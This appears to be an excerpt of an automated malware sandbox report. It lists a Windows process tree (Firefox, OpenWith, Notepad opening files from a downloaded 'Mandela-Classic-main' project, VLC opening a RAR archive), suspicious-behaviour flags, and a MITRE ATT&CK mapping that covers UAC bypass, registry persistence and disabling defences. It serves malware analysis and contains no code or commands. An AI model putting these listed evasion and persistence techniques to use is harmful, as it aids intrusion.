      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2960 -childID 1 -isForBrowser -prefsHandle 2952 -prefMapHandle 2812 -prefsLen 24741 -prefMapSize 244658 -jsInitHandle 1268 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d6639164-ee5b-40e4-8e74-d1a01461ae7a} 3860 "\\.\pipe\gecko-crash-server-pipe.3860" tab
      4⤵
      PID:3188
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3068 -childID 2 -isForBrowser -prefsHandle 3860 -prefMapHandle 3856 -prefsLen 29090 -prefMapSize 244658 -jsInitHandle 1268 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1730f13c-d09c-40e9-8d57-2bbf79ad07e6} 3860 "\\.\pipe\gecko-crash-server-pipe.3860" tab
      4⤵
      PID:2780
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4920 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4916 -prefMapHandle 4956 -prefsLen 29090 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a8773619-627e-4ae5-94e9-d99dd539e185} 3860 "\\.\pipe\gecko-crash-server-pipe.3860" utility
      4⤵
      Checks processor information in registry
      PID:5484
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5292 -childID 3 -isForBrowser -prefsHandle 5272 -prefMapHandle 5260 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 1268 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f601809e-abe8-4c1a-a1b3-a7d64ff38859} 3860 "\\.\pipe\gecko-crash-server-pipe.3860" tab
      4⤵
      PID:5872
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5512 -childID 4 -isForBrowser -prefsHandle 5432 -prefMapHandle 5436 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 1268 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {61399222-0788-4aa9-9c4e-d4729f0826e6} 3860 "\\.\pipe\gecko-crash-server-pipe.3860" tab
      4⤵
      PID:5892
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5712 -childID 5 -isForBrowser -prefsHandle 5632 -prefMapHandle 5640 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 1268 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {372b4bcd-878b-471a-aeee-0c7f5990c82d} 3860 "\\.\pipe\gecko-crash-server-pipe.3860" tab
      4⤵
      PID:5904

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:388

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:5220
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\Mandela-Classic-main\Mandela-Classic-main\Makefile
  2⤵
  PID:5436

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5220

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:3764
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\Mandela-Classic-main\Mandela-Classic-main\bin\ldid
  2⤵
  PID:5240

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
PID:1544

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
PID:3388
- C:\Program Files\VideoLAN\VLC\vlc.exe
  "C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Downloads\version -1.0.rar"
  2⤵
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious behavior: GetForegroundWindowSpam
  PID:4988

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

System Information Discovery